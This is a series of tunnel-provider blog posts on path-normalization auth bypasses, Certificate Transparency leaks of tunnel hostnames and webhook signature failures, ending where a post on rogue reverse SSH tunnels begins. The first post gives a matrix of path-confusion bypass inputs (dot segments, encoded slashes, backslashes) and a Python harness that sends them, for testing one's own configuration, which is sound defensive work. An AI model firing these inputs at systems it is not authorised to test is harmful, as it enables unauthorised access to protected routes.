The Cloudflare edge, which has its own URL normalization feature. Per Cloudflare's docs, incoming-URL normalization is on by default, and certain baseline steps (merging adjacent slashes, for example) are always applied and cannot be disabled.
cloudflared, which matches the path against your ingress rules.
Your origin, whose framework, reverse proxy or static-file handler applies its own decoding and dot-segment logic.

There is a fourth, easily overlooked participant: your test client. Browsers resolve .. segments before sending a request, and the WHATWG URL parser treats backslashes as slashes for http and https URLs. So clicking around in a browser almost never exercises these inputs. Even curl collapses dot segments unless you pass --path-as-is. When you "tested" a path and it worked, the client may have rewritten it into a safe one first.

Any disagreement between parsers is a potential bypass. If layer two thinks the request is for /public/... and layer three thinks it's for /admin, a rule written for one is evaluated against the other.

The path-confusion auth bypass, step by step

Consider a tunnel that protects /admin with Access validation at cloudflared, defense in depth behind your Access policy:

tunnel: <TUNNEL_UUID>
credentials-file: /etc/cloudflared/<TUNNEL_UUID>.json

ingress:
  - hostname: app.example.com
    path: ^/admin(/|$)
    service: http://localhost:8080
    originRequest:
      access:
        required: true
        teamName: <your-team-name>
        audTag:
          - <access-application-aud-tag>
  - hostname: app.example.com
    service: http://localhost:8080
  - service: http_status:404

Ingress rules are evaluated first to last, and path is a regular expression parsed with Go's regexp/syntax package. Now send GET /public/../admin/users.

Normalization off: the matcher sees /public/../admin/users. The first rule's regex requires the path to start with /admin, so it doesn't match. The request falls through to the second rule, which has no Access requirement, and is forwarded with its original path.
Your origin collapses the dot segment, routes the request to /admin/users, and serves it. The JWT check that was supposed to guard /admin never ran.
Normalization on: the matcher sees /admin/users, selects the first rule, and requires a valid Access JWT. The origin still receives the original path.

The pattern is generic: a security decision made on one interpretation of a path, with the action taken on another. This is exactly what Orange Tsai's 2018 Black Hat and DEF CON research, "Breaking Parser Logic," catalogued. His slides showed that /foo;name=orange/bar/ is read as /foo;name=orange/bar/ by Apache, Nginx and IIS, but as /foo/bar/ by Tomcat and Jetty, and used that gap to bypass proxy-level ACLs.

It keeps happening, including this year:

Heimdall (CVE-2026-42274): before version 0.17.14, the identity-aware proxy matched rules on the raw path while downstream components normalized dot segments, so a request like /user/../admin could be authorized as one path and processed as another.
Quarkus (CVE-2026-50559): path-based authorization policies could be bypassed with percent-encoded semicolons (%3B), slashes (%2F) or backslashes (%5C), because the security layer and the routing or static-file layer decoded them differently.
@opennextjs/cloudflare (CVE-2026-3125): a backslash in /cdn-cgi\image/ slipped past Cloudflare's edge interception, then a Worker's URL class converted it to a forward slash, reaching a vulnerable handler. Fixed in 1.17.1.
fast-uri (CVE-2026-6321): the library decoded percent-encoded separators and dot segments before removing dot segments, so distinct URIs could collapse onto one normalized path. Fixed in 3.1.1.

Different stacks, same root cause: two parsers, one path.

The four inputs to test

Dot segments (`/../` and `/./`)

This is the classic traversal-style confusion, and the one the new cloudflared setting directly addresses. Test plain .. and the encoded forms %2e%2e and %2E%2E. RFC 3986 says percent-encoded unreserved characters are equivalent to literals, and the WHATWG URL parser treats %2e as a dot in path segments. Many origins decode %2e before removing dots, as the Quarkus advisory shows. Cloudflare documents dot-segment removal but doesn't say whether encoded dots are decoded first, so this row needs a real test.

Double slashes (`//`)

Frameworks differ on whether //admin equals /admin. Some merge, some treat the empty segment as significant, and some reject it. Cloudflare's cloudflared normalization merges them for matching only. A pattern like ^/admin won't match //admin without normalization, and an origin that does merge it will happily serve /admin.

Trailing slashes (`/admin` vs `/admin/`)

The documented normalization doesn't mention trailing slashes, so assume they are untouched. That makes regex anchoring decisive: ^/admin$ matches /admin but not /admin/, while many frameworks (Express by default, for instance) route both to the same handler. Write protected-path patterns as ^/admin(/|$), or better, protect the whole host and carve out public exceptions.

Encoded slashes (`%2F`) and friends

%2F is where parsers split most. Some origins decode it into a real separator before routing, some keep it inside a single segment, and some reject it outright (many servers expose a setting for this). Because RFC 3986 treats it as non-equivalent to /, cloudflared's documented normalization has no obvious reason to decode it, and a standards-following matcher would treat /admin%2Fusers as a single opaque segment. Your origin might not. The same goes for %5C (backslash) and %3B (semicolon). The Quarkus case shows how a bypass can hide in exactly that gap.

A test matrix you can run today

Assume the config above, with the origin returning 200 on /admin/* only when an Access JWT is present. For each request, the pass condition is that it is denied the same way plain /admin/users is.

Request path	Matched as (off)	Matched as (on)	Documented?
`/admin/users`	`/admin/users`	`/admin/users`	Baseline
`/public/../admin/users`	raw	`/admin/users`	Yes
`//admin/users`	raw	`/admin/users`	Yes
`/admin//users`	raw	`/admin/users`	Yes
`\admin\users`	raw	`/admin/users`	Yes
`/admin/`	raw	raw	Trailing slash not listed
`/%61dmin/users`	raw	Not documented	No, test it
`/admin%2Fusers`	raw	Not documented	No, test it
`/public/%2e%2e/admin/users`	raw	Not documented	No, test it
`/admin;x=1/users`	raw	Not documented	No, test it

Two cautions when reading results. First, Cloudflare's own edge normalization is a separate layer. Some rows may look identical with cloudflared normalization on and off because the edge already rewrote them; that's fine, but you want to know which layer is doing the work. Second, cloudflared tunnel ingress rule <URL> shows which rule a URL matches, but Cloudflare's docs don't say whether it honors the normalization flag, so confirm with live traffic as well.

Here's a small Python harness that sends paths exactly as written, which curl and browsers won't always do:

import http.client, ssl

HOST = "app.example.com"
PATHS = [
    "/admin/users", "/public/../admin/users", "//admin/users",
    "/admin//users", "\\admin\\users", "/admin/", "/%61dmin/users",
    "/admin%2Fusers", "/public/%2e%2e/admin/users", "/admin;x=1/users",
]

ctx = ssl.create_default_context()
for path in PATHS:
    conn = http.client.HTTPSConnection(HOST, context=ctx, timeout=10)
    conn.request("GET", path)
    print(f"{path!r:34} -> {conn.getresponse().status}")
    conn.close()

Run it twice: once with the tunnel on current defaults, once with --disable-path-normalization=false. Any path that returns something other than the baseline denial is a finding. For one-off checks, curl --path-as-is stops curl from collapsing dot segments before sending.

Rollout checklist before 2027-01-25

Find out if you're in scope. Search your configs for access: blocks with required: true. No such rules, and Cloudflare says you're unaffected.
Check where the access block sits. An open issue in Cloudflare's docs repository reports that on cloudflared 2026.7.1 a top-level originRequest.access block wasn't enforced, while the same block under an individual ingress rule was. This is a user report, not confirmed documentation, so verify on your version rather than trusting either reading.
Run the matrix in staging with normalization off, then on. Record every difference.
Audit regex anchors. Replace unanchored or $-terminated patterns for protected paths with ones that handle trailing slashes.
Turn it on early, explicitly. Setting the flag now means the January change is a no-op for you. After the cutover, check the release notes to confirm the flag is still honored.
Control auto-updates (--no-autoupdate, version pinning) until the matrix passes on the new version.
Fix the origin too. Normalization at the tunnel is defense in depth. Make your application reject ambiguous paths (encoded slashes, backslashes, dot segments) rather than depending on the layer in front of it.
Log raw request targets so a probing attempt shows up as %2e%2e or \ in your logs, not as a cleaned path.

FAQ

Does this change the path my application receives?
No. Cloudflare states the URL path sent to your origin stays the same. Only the path used to select an ingress rule is normalized.

Will my tunnel break on 2027-01-25?
Only if you have rules requiring Access validation and your matching relies on un-normalized paths. Cloudflare says configurations without such rules are unaffected, but it recommends testing path-based routing before the date.

Is normalizing at the tunnel enough to stop path-confusion bypasses?
It closes the gap for the transformations it performs. It does not make your origin's parsing consistent with the tunnel's, and Cloudflare doesn't document decoding of reserved characters like %2F. Treat it as one layer.

Does the same risk exist with other tunnels and reverse proxies?
Yes. Any component that makes a routing or authorization decision on a path it hasn't normalized the way the next component will is exposed. Run the matrix against whatever sits at your edge.

Webhook signature verification behind tunnels is a separate failure mode, covered in the earlier post on signatures.

Sources

Originally published at https://instatunnel.my/blog/path-normalization-at-the-tunnel-edge-why-a-route-matches-on-localhost-but-not-through-a-tunnel

Certificate Transparency Leaks: Why Your "Secret" Tunnel URL Isn't Secret

InstaTunnel — Wed, 04 Nov 2026 01:43:45 +0000

You run one command, your localhost gets a public HTTPS address like https://k7x2m9qa.example-tunnel.dev, and you paste it into a client chat. The label looks random, nobody has it, so it feels private.

It may already be public. If a publicly trusted certificate was issued for that exact hostname, the name is sitting in a public, append-only log that anyone can read, and automated scanners watch those logs around the clock. Obscurity was never access control, and Certificate Transparency (CT) is the clearest proof.

This guide explains how CT leaks hostnames, how quickly scanners act on them, when wildcard certificates help (and when they don't), and what actually protects a development tunnel. Facts were checked against current sources as of November 2026.

What Certificate Transparency Is (and Why It Exists)

Certificate Transparency is a system of public, append-only logs that record TLS certificates issued by publicly trusted certificate authorities (CAs). It was designed as a defensive tool: if a CA mis-issues a certificate for a domain you own, the log lets you detect it. The original specification is RFC 6962, with a revised version in RFC 9162.

The crucial detail for tunnel users is what gets logged: the certificate's full set of subject names. Every hostname on the certificate becomes a public record.

CT is also not optional in practice. Chrome has enforced it for extended-validation certificates since 2015 and for most public certificates since 2018, and Apple platforms enforce their own CT policy. A publicly trusted certificate without valid Signed Certificate Timestamps (SCTs), which are the logs' signed proofs of inclusion, is rejected by browsers. The ecosystem keeps tightening: Chrome Root Program Policy version 1.8, dated June 15, 2026, strengthened CT and PKI governance requirements across all publicly trusted certificate types, and Chrome 148 (released May 5, 2026) dropped support for SCTs delivered through stapled OCSP responses. SCTs must now be embedded in the certificate or delivered through the TLS extension.

The practical consequence: you cannot opt a publicly trusted certificate out of logging. The log entry also exists before you ever serve the certificate, because CAs typically submit a "precertificate" to the logs first to obtain the SCTs they embed in the final certificate.

How Fast Do Scanners Find a New Hostname?

Faster than most people expect. The foundational research is the 2018 ACM Internet Measurement Conference paper "The Rise of Certificate Transparency and Its Implications on the Internet Ecosystem" by Scheitle and colleagues. The authors built a CT honeypot and showed that data from CT logs is used to pick targets for scanning campaigns only minutes after certificate issuance. They also built a method that combined subdomain labels extracted from logged certificates with DNS lookups, and it surfaced 18.8 million previously unknown fully qualified domain names, about 17.7 million more than other public lists contained.

That was 2018. Today the tooling is easier, not harder:

Real-time streams. Services such as Certstream expose a WebSocket feed of certificates as they are logged, which lets anyone filter for keywords, brands, or patterns in new hostnames.
Searchable archives. crt.sh lets anyone query every certificate ever logged for a domain, including an Atom feed for new entries. Subdomain enumeration through CT is a standard first step in penetration tests because it is free and thorough.
Faster logs. Newer "static CT API" logs, such as Let's Encrypt's Sunlight-based Sycamore and Willow logs, publish data as static files that are cheap to mirror. Chrome's log policy requires static-ct-api logs to specify a maximum merge delay of no more than one minute, compared with the roughly 24-hour merge delay typical of RFC 6962 logs. Let's Encrypt's older Oak log was set to be shut down in February 2026.

Whether a particular bot probes your tunnel within thirty seconds or thirty minutes varies, and nobody can promise a number. The safe assumption is the one the research supports: once a certificate containing your hostname exists, treat the name as public.

The Late-September Quick Tunnels Warning

This is not an abstract risk for tunnel users. In late September 2026, TechSpot covered the "one command puts your localhost on the internet" trend around Cloudflare Quick Tunnels and noted that these URLs are public and that bots tend to find them quickly.

Some background on that product:

Cloudflare introduced Quick Tunnels in September 2021, and the feature was built by an intern, Rishabh Bector.
A single cloudflared command returns a temporary trycloudflare.com address with no account, domain, or port forwarding needed.
Cloudflare's own documentation lists limits: no uptime guarantee, up to 200 in-flight requests per tunnel (extra requests return a 429), and no Server-Sent Events support.

Security researchers have noted a second discovery path beyond CT. A report from IT-Connect found that a site:trycloudflare.com search in Google returns pages served from Quick Tunnels. Detection engineers are paying attention too: Elastic ships a rule for adversaries abusing quick tunnels to proxy command-and-control traffic. If defenders and attackers both watch a hostname pattern, your "temporary" URL is not obscure.

Cloudflare's own answer is telling. On October 2, 2026, it added a --allowed-mail flag to Quick Tunnels: visitors must enter a one-time PIN sent to an allowed email address, and you can allow one address, several, or an entire email domain. Access ends when the cloudflared process stops. Before this, per the changelog coverage, anyone holding a Quick Tunnel link could open the service. A vendor adding a gate is a vendor acknowledging that the URL alone is not a gate.

Per-Subdomain Certificates vs. Wildcard Certificates

What CT reveals depends on how your tunnel provider (or you) obtains certificates. This is the heart of the discovery question.

	Per-subdomain certificate	Wildcard certificate
What appears in CT logs	The exact hostname, e.g. `staging-api.example.com`	Only the pattern, e.g. `*.example.com`
Discovery by log scanners	Immediate and specific	Reveals that subdomains exist, not which
Let's Encrypt validation	HTTP-01, DNS-01, or TLS-ALPN-01	DNS-01 only
Coverage	One name (or up to 100 names on a SAN certificate)	One level of subdomains
Key-compromise blast radius	Single hostname	Every covered subdomain sharing the key
Typical use	Production services with stable names	Dev, staging, per-customer or per-session subdomains

A wildcard entry shows up in the log as *.example.com, one record regardless of how many subdomains you serve. So internal-dev.example.com or a per-session tunnel label does not appear individually. This is why practitioners, including Let's Encrypt community members, point to wildcards as the standard way to avoid advertising subdomain lists. Subdomain enumeration tools lean heavily on CT, and a wildcard blunts that technique.

Wildcards come with trade-offs worth stating honestly. They require DNS-01 validation with Let's Encrypt, which means automated access to your DNS provider's API. A single private key now protects many hostnames, so a compromise has a wider blast radius. And a wildcard covers only one label level: *.example.com does not cover a.b.example.com.

For tunnel services the picture has two sides:

If the provider terminates TLS with a wildcard on its own domain, individual tunnel names are not published through CT by that certificate. The exposure moves elsewhere (see below).
If you bring your own domain and the setup issues one certificate per tunnel hostname, each hostname is published the moment the certificate is logged.

Ask your provider which model it uses. Do not assume.

Wildcards Hide the Name From CT, Not From Everyone

A wildcard solves one leak path. A subdomain is still a plain DNS name, and names travel:

DNS and network visibility. Resolvers, passive DNS databases, and corporate proxies see lookups. Server Name Indication (SNI) is sent in cleartext during the TLS handshake unless Encrypted Client Hello is in use.
You share it. The URL goes into Slack, tickets, pull request comments, and email. Link previews and message archives can fetch and store it.
Browsers and referrers. Browser history, sync, extensions, and Referer headers on outbound links can carry the URL to third parties.
Search engines and crawlers. As the Quick Tunnels indexing report shows, a public URL can end up in search results if it is linked anywhere a crawler visits.
Logs. Anything your app, your CDN, or your analytics stack logs includes the host.

A wildcard certificate reduces one passive, automated discovery channel. It does not make the hostname a credential.

Why a Random URL Is Not Access Control

Access control means the system checks who you are and refuses everyone else. A random hostname does none of that. Anyone who learns the address gets in, with no log of who they are.

The math sometimes gets misused as a defense. A random eight-character base-36 label has roughly 2.8 trillion possibilities, which sounds enormous. But the strength of a secret depends on whether it has leaked, not only on how many guesses it would take. Once the name is in a CT log, a Certstream feed, a Slack export, or a browser's sync history, its entropy is irrelevant. Attackers do not need to guess a name they can read.

Three further problems follow:

No revocation. You cannot "rotate" a leaked URL without taking the tunnel down.
No identity. You cannot tell your client from a bot.
No scope. Whoever finds the URL reaches the entire service behind it: admin routes, debug endpoints, webhook handlers, local databases exposed through the app.

Treat a tunnel URL the way you would treat a public IP address with an open port, because functionally that is what it is.

What Actually Protects a Dev Tunnel

Assume discovery. Then make discovery harmless. A layered approach works:

Authenticate at the edge. Put a credential check in front of the tunnel so a discovered URL returns a login challenge rather than your app. With InstaTunnel, the CLI flag reference includes --password for password protection and --auth user:pass for HTTP Basic Auth, and --subdomain for a custom, stable name.

   # Password-protect a tunnel
   instatunnel 3000 --password "a-long-random-passphrase"

   # HTTP Basic Auth
   instatunnel 3000 --auth demo:a-long-random-passphrase

   # Stable name plus protection
   instatunnel 3000 --subdomain client-demo --password "a-long-random-passphrase"

Flags and tiers change, so check instatunnel --help and the current docs before relying on one.

Use long, random credentials. Basic Auth has no built-in brute-force defense, and scanners that find an endpoint will try common passwords. Generate a passphrase from a password manager; never reuse one.
Keep HTTPS on. Basic Auth sends credentials in a reversible encoding, not encrypted ones, so it is only acceptable over TLS.
Know where edge passwords don't fit. Automated callers such as webhook senders usually cannot answer a browser password prompt. For those, verify provider signatures (HMAC or signed headers) on your own server, and keep the tunnel narrowly scoped to the routes the provider needs. Test any gate with the real client before a demo.
Shrink the lifetime. A tunnel that runs for the length of a demo is exposed for less time than one left up all week. Use instatunnel --list to see what is running and --kill <subdomain> to stop one.
Do not expose what you would not publish. Bind the local service only to what you intend to share, strip debug routes, and use test data. Never tunnel a database or admin console without a second authentication layer in the application itself.
Monitor your own names. If you operate your own domain, subscribe to CT monitoring (crt.sh feeds or Certstream filters) for it. You will see exactly what an attacker sees and can notice unexpected certificates early.
Prefer identity-aware gating for teams. For shared staging links, edge authentication that ties access to a verified identity, such as one-time email PINs like Cloudflare's new flag or OAuth and OIDC at the proxy, beats a shared password because you can scope it per person.

Frequently Asked Questions

Can I stop my tunnel hostname from being logged to CT?
Not with a publicly trusted certificate. Logging is a condition of browser trust. The workable approaches are a wildcard certificate (so the specific name is not logged) or a private CA for internal-only names, which will not be trusted by outside browsers.

Does a wildcard certificate make my tunnel private?
No. It removes one discovery channel, CT logs, for individual hostnames. Sharing, referrers, DNS visibility, and crawlers still apply, so authentication is still required.

How quickly will scanners find a new hostname?
Research from 2018 showed scans arriving within minutes of issuance, and the log infrastructure and tooling have only improved since. Plan for near-immediate discovery.

Is a long random subdomain good enough for a short demo?
For something genuinely harmless, a short-lived unlisted link carries small risk. For anything involving customer data, credentials, or internal tools, add authentication. It takes one flag.

Are Basic Auth and password protection enough?
They stop casual and automated discovery from reaching your app. They are not a substitute for application-level security, signed webhooks, or identity-aware access for sensitive work.

The Bottom Line

Certificate Transparency makes every publicly trusted hostname readable, and the tools to read it in real time are free. A per-subdomain certificate publishes your tunnel's exact name, and a wildcard hides the name from CT but not from the many other places names leak. Either way, the right mental model is the same: the URL is an address, not a password.

Put authentication in front of anything you tunnel, keep credentials long and random, and keep exposure short. If you do, a scanner finding your hostname costs you a login prompt instead of an incident.

Sources

Scheitle et al., The Rise of Certificate Transparency and Its Implications on the Internet Ecosystem, ACM IMC 2018
Encryption Consulting, Certificate Transparency monitoring (Chrome Root Program Policy 1.8, Chrome 148)
Chrome, Certificate Transparency Log Policy
Let's Encrypt, Certificate Transparency (CT) Logs
Apple, Certificate Transparency policy
TechSpot, One command trick can put localhost on the internet
Cloudflare, Quick Tunnels documentation and Quick Tunnels: Anytime, Anywhere
Cloudflare changelog, Protect Quick Tunnels with email authentication (via Tproger)
IT-Connect, TryCloudflare Quick Tunnels are being indexed on Google
Elastic, Potential Protocol Tunneling via Cloudflared
InstaTunnel, npm package README

Originally published at https://instatunnel.my/blog/certificate-transparency-leaks-why-your-secret-tunnel-url-isnt-secret

Signed, Sealed, Mangled: Why Webhook Signatures Fail Behind a Tunnel

InstaTunnel — Tue, 03 Nov 2026 01:39:03 +0000

You point a tunnel at localhost:3000, send a test event, and your handler answers 400 Invalid signature. The payload looks right. The secret looks right. So why does webhook signature verification fail only when the request passes through a tunnel or reverse proxy?

A signature is a promise about exact bytes, exact timing and, for some providers, an exact URL. A tunnel, proxy or helpful middleware can change any of those while the request still looks healthy. This guide covers the three failure families developers hit most: raw body versus re-serialized JSON, timestamp tolerance, and Twilio-style signing of the full URL. It ends with a debugging checklist and a look at the debugging tools available as of November 2026.

How webhook signatures work

Nearly every provider uses an HMAC: the sender combines a shared secret with some “signed content,” hashes it, and puts the result in a header. The receiver rebuilds the same content, computes its own HMAC and compares the two in constant time. Providers differ in what goes into the signed content, and in the hash algorithm and encoding.

Provider	Header	Signed content	Algorithm
Stripe	`Stripe-Signature` (`t=…,v1=…`)	`{timestamp}.{raw body}`	HMAC-SHA256, hex
GitHub	`X-Hub-Signature-256` (`sha256=…`)	raw payload only	HMAC-SHA256, hex
Slack	`X-Slack-Signature` (`v0=…`)	`v0:{timestamp}:{raw body}`	HMAC-SHA256, hex
Standard Webhooks (Svix, Resend, Clerk, Polar, OpenAI and others)	`webhook-signature` (`v1,…`)	`{webhook-id}.{webhook-timestamp}.{raw body}`	HMAC-SHA256, Base64
Twilio	`X-Twilio-Signature`	full URL + sorted POST params	HMAC-SHA1, Base64

Stripe, Slack and Standard Webhooks bind a timestamp into the signature. GitHub signs the raw body with no timestamp. Twilio signs the URL. Each design gives a tunnel a different way to break things.

Failure #1: raw body versus re-serialized JSON

The most common cause of “signature mismatch” is not a wrong secret. It is a JSON parser that ran before your verification code.

Stripe signs the raw, unmodified request body, and most web frameworks parse the body and discard the original bytes. Slack’s documentation makes the same point: the raw form of the body, whitespace included, is what Slack uses to compute the signature.

What “mangled” looks like

If you parse JSON and then call JSON.stringify(req.body) to feed the HMAC, you are verifying a different string than the one the provider signed. Re-serialization can change:

Whitespace and key order, which rarely match the original byte for byte.
Unicode escaping: a sender may write "\u00e9" where your serializer writes a literal "é". Both are the same value but different bytes.
Number formatting: in JavaScript, 1.0 becomes 1, and integers beyond 2^53 lose precision.
Character encoding: GitHub’s guidance is to handle payloads as UTF-8, since they can contain Unicode.

Each of these yields a valid-looking object and an invalid signature.

The Express trap

In Express, middleware order decides everything, because whichever body parser runs first consumes the request stream. This is broken:

app.use(express.json());                                   // runs first; req.body is now an object
app.post('/webhooks/stripe', express.raw({ type: 'application/json' }), handler);

The route-level raw parser gets nothing. Register webhook routes with express.raw() before the global JSON parser, or capture the bytes with the verify hook:

app.use(express.json({
  verify: (req, _res, buf) => { req.rawBody = buf; }   // keep the exact bytes
}));

Hash req.rawBody, never JSON.stringify(req.body). A Buffer.isBuffer(req.body) guard in a raw-body route turns a misleading “signature mismatch” into an obvious configuration error.

Where the tunnel comes in

A tunnel that only relays HTTP requests should deliver the same body bytes it received. Trouble starts when something in the path transforms the request: a proxy that rewrites the body, a middleware that normalizes it, or an inspection layer that re-encodes it. If verification passes when you call the app directly but fails through the tunnel, compare the raw bytes your app receives with what the provider sent.

Tunnel inspectors help here, with one caveat. ngrok’s Traffic Inspector, for example, collects only request metadata by default, to avoid exposing secrets. You must enable full capture in your account settings before it records complete request and response bodies.

One more local-development trap: the signing secret depends on where the event came from. Stripe’s troubleshooting guide says the most common verification error is using the wrong endpoint secret. Both the Dashboard endpoint and the Stripe CLI produce secrets that start with whsec_, but they are different secrets. Don’t verify CLI-forwarded events with a Dashboard endpoint’s secret, or the other way around. No amount of body handling will fix that.

Failure #2: timestamp tolerance

Timestamped signatures exist to stop replay attacks. An attacker who captures a valid request can resend it with its signature intact, so receivers also check that the timestamp is recent. The common default is five minutes:

Stripe’s libraries reject events whose timestamp is more than 300 seconds off by default, and let you override the tolerance.
Slack tells you to reject requests whose X-Slack-Request-Timestamp differs from local time by more than five minutes.
Standard Webhooks libraries default to a 300-second tolerance. Some implementations check both directions and reject future-dated timestamps as well as stale ones.

For Standard Webhooks, webhook-id stays the same across retries of the same event, while webhook-timestamp records when each delivery attempt was signed. The timestamp is therefore fresh on every provider-side retry.

GitHub is the exception. Its signature carries no timestamp, so there is no freshness check. Deduplicate on the X-GitHub-Delivery ID instead.

Why tunnels make timestamp failures likelier

Clock drift on dev machines. A laptop that slept overnight, or a VM or container with a skewed clock, can run minutes off. Outside the tolerance, every request fails even though the signature is correct. Sync the clock first.
Replaying captured events. Tunnel inspectors let you resend a captured request, including with edits. ngrok offers both a plain replay and “replay with modifications”. An hours-old Stripe event will fail the tolerance check, which is the feature working as designed. Re-sign with a fresh timestamp, or widen the tolerance in a development-only configuration.
Delivery held up in transit. Provider retries are re-signed, so they aren’t the problem. A single delivery that your tunnel drops, queues or delays past the tolerance window is.

In production, keep the 300-second default and never disable the check outside a throwaway test. Log the computed clock skew on every rejection so “stale timestamp” and “bad signature” show up as separate errors. Slack’s own instructions treat the timestamp check as a distinct step before signature comparison.

A Standard Webhooks gotcha

The Standard Webhooks signing key is normally the secret with its whsec_ prefix removed and the remainder Base64-decoded. Not every provider follows that to the letter. Polar’s documentation notes that Polar uses the full secret string, including the prefix, as the raw HMAC key. If you hand-roll verification instead of using a library, check your provider’s docs.

Failure #3: Twilio signs the full URL

Twilio’s scheme surprises people most, because the body is only part of what gets signed. Per Twilio’s documentation:

Start with the full URL of the request, from the protocol through the end of the query string.
For a form-encoded POST, sort the POST parameters alphabetically by name and append each name and value to the URL, with no delimiters.
Compute an HMAC-SHA1 of that string, keyed with your account Auth Token.
Base64-encode the result and compare it with X-Twilio-Signature.

Because the URL is baked in, a proxy that rewrites the scheme, host or path breaks validation. The request is genuine, but your code rebuilds a string different from the one Twilio hashed.

Twilio’s validation helpers also expect you to pass every received parameter, not a hardcoded list, since Twilio can add parameters at any time. Query-string parameters are already part of the URL, so don’t pass them separately as well.

What breaks the URL behind a tunnel

Twilio’s support guidance says the root cause of 403s behind a proxy is almost always a mismatch between the URL Twilio signed and the one your app reconstructs. The usual suspects:

Wrong scheme. TLS ends at the edge, so your app sees http:// while Twilio signed https://. Recover the original scheme with X-Forwarded-Proto, as Twilio’s Node.js SSL-termination guidance explains.
Wrong host. Your app sees an internal hostname or localhost:3000, but Twilio signed the public tunnel hostname. If anything in the path rewrites the Host header, don’t use it to rebuild the signed URL.
Missing path or query string. Framework objects like request.url or request.host can return a partial URL, and rebuilding https://host without the path changes the signed string.
Trailing slash. The signed value is a plain string, so /webhook and /webhook/ produce different signatures. Match the URL in the Twilio Console exactly.
Ports. The twilio-ruby validator checks the signature both with and without an explicit port, with a code comment noting that signature generation on Twilio’s back end is inconsistent about it. If you hand-roll validation, test both forms.
A hostname that changes. If your tunnel assigns a new random hostname each session, update the URL in Twilio and in your validator. A stale value fails every request.

JSON bodies and `bodySHA256`

Not every Twilio webhook is form-encoded. For application/json requests, Twilio appends a bodySHA256 query parameter to your webhook URL, holding a SHA-256 hash of the raw body. Twilio’s SDKs then run two checks: the body’s hash must match the parameter, and the signature, computed over the URL including that parameter, must be valid. A body-mangling middleware therefore fails the hash check even if your URL logic is perfect. In Node, this is the job of validateRequestWithBody. Preserve the raw body here too.

The safest fix

Trust forwarding headers only from a proxy you control. Rebuild the URL from X-Forwarded-Proto and X-Forwarded-Host. This works only if a trusted proxy actually sets them, and you should never honor them from the open internet. In Express, that also means configuring trust proxy correctly so req.protocol reflects the forwarded scheme.
Hardcode the public URL. You already know what you configured in Twilio. Validate against that constant. It is boring, and it removes the whole class of reconstruction bugs.

Twilio’s scheme has no timestamp, so there is no built-in replay window. If replays matter, deduplicate on identifiers such as MessageSid or CallSid.

A ten-minute debugging checklist

Work from the cheapest check to the most expensive:

Right secret, right kind? Stripe CLI versus Dashboard secret, Twilio Auth Token (the signing key) versus an API key, a rotated secret that has not propagated. GitHub omits X-Hub-Signature-256 entirely if no secret is configured.
Right header? GitHub recommends X-Hub-Signature-256. The older X-Hub-Signature uses SHA-1 and is kept for legacy purposes. Stripe test events can carry a legacy v0 entry in the header, so verify v1 and ignore other schemes.
Raw bytes? Log the length of the body you hash and compare it with the Content-Length the tunnel saw.
Clock within tolerance? Print now - timestamp on every rejection.
Twilio: which URL are you hashing? Log it and compare character by character with the Console. Try with and without the port and trailing slash.
Does it pass when sent directly to the app? If yes, something between the provider and your app is changing the request. If no, the bug is in your verification code.
Constant-time compare? Use crypto.timingSafeEqual or hmac.compare_digest. It will not fix a mismatch, but GitHub’s docs recommend it, and it keeps you from adding a timing leak while debugging.

Tools worth knowing in late 2026

Stripe CLI. stripe listen forwards events to localhost and prints its own temporary signing secret, so no public URL is needed. Use that secret locally.
ngrok. Its Traffic Inspector can show and replay captured requests, and its provider-verification feature can check webhook signatures for supported providers (Stripe and Mux, among others) and block invalid requests before they reach your app. ngrok’s Mux guide notes a limit of 500 validations per month on free accounts.
@teamshift/webhook-inspect. A recent open-source npm package that verifies Stripe, GitHub, Shopify, Slack, Twilio and generic HMAC signatures and explains why a check fails. Its README describes three commands:
- verify checks a single request.
- listen captures webhooks locally, with verification.
- replay sends a saved capture to a local server.When verification fails, the tool tries concrete fixes and marks the confirmed cause.

A caveat on webhook-inspect: Socket’s listing shows a single version (0.1.0) and a single maintainer. Its README includes a sample capture dated 4 October 2026, but I could not confirm the exact publish date. Treat it as early-stage software and review it before routing real secrets through it.

Whatever tool you use, the technique is identical: reproduce the provider’s signed string and change one variable at a time until the HMACs match.

Production hardening

Verify before you parse. Authenticate first, deserialize second.
Separate internal errors for missing header, stale timestamp and bad signature, while giving the caller a generic response.
Support secret rotation. Stripe can send multiple v1 signatures while two secrets are active, and Standard Webhooks allows several space-delimited signatures, so accept any valid match.
Deduplicate on X-GitHub-Delivery, Stripe’s event ID, webhook-id or Twilio SIDs, since retries are normal.
Use a stable public URL in development. For Twilio-style URL signing, a tunnel hostname that does not change between sessions keeps your provider console and your validator in sync.
Never ship a “skip verification” flag enabled.

Frequently asked questions

Why does my signature verify locally but fail behind a tunnel?

Usually the body bytes (a parser or proxy altered them), the clock (drift or a replayed event), or the URL (a different scheme, host or path than the one signed). Also rule out the wrong secret, especially Stripe CLI versus Dashboard. Check the raw bytes, the skew and the reconstructed URL, in that order.

Does Twilio’s signature include a timestamp?

No. Twilio signs the full URL plus sorted POST parameters (or relies on bodySHA256 for JSON bodies). Stripe, Slack and Standard Webhooks include timestamps.

What is the right timestamp tolerance?

Five minutes (300 seconds) is the widely used default across Stripe’s and Standard Webhooks’ libraries, and it is the window Slack documents. Widen it only in local testing.

Can I verify a signature after parsing the JSON?

Not reliably. Re-serialized JSON can differ in whitespace, key order, escaping and number formatting. Capture the raw bytes before any parser runs.

Why does Twilio validation fail when my host looks right?

Check scheme, port, path, query string and trailing slash. One character changes the HMAC. When in doubt, hardcode the URL from the Twilio Console.

Conclusion

A webhook signature is a small contract: these exact bytes, at this time, to this address. Tunnels and proxies are not malicious, but they sit in the middle of that contract and can disturb any clause. Keep the raw body, keep your clock honest, rebuild or hardcode the exact URL, and use a replay-and-diagnose tool when a mismatch will not yield to staring at logs. Do that and “signed, sealed, mangled” goes back to being “signed, sealed, delivered.”

Sources

Originally published at https://instatunnel.my/blog/signed-sealed-mangled-why-webhook-signatures-fail-behind-a-tunnel

When the Tunnel Is the Payload: Spotting Rogue Reverse SSH Tunnels on Developer Machines

InstaTunnel — Mon, 02 Nov 2026 01:40:51 +0000

Most writing about SSH tunnels is about convenience: reach a database behind a firewall, expose a local dev server, skip the VPN. On October 29, 2026, the other side showed up. Tampered builds of the Claude Code extension, served through Cursor’s extension marketplace, tried to turn developer laptops into inbound doorways using nothing more than ssh and, when present, autossh.

This is a defensive guide. It covers what the tunnel looked like on the wire and on the host, how to separate a sanctioned tunnel from a rogue one, and how to build an allowlist that does not blind you. The incident is the example. The detection logic applies to any reverse SSH tunnel.

What happened: tampered Claude Code builds in Cursor’s marketplace

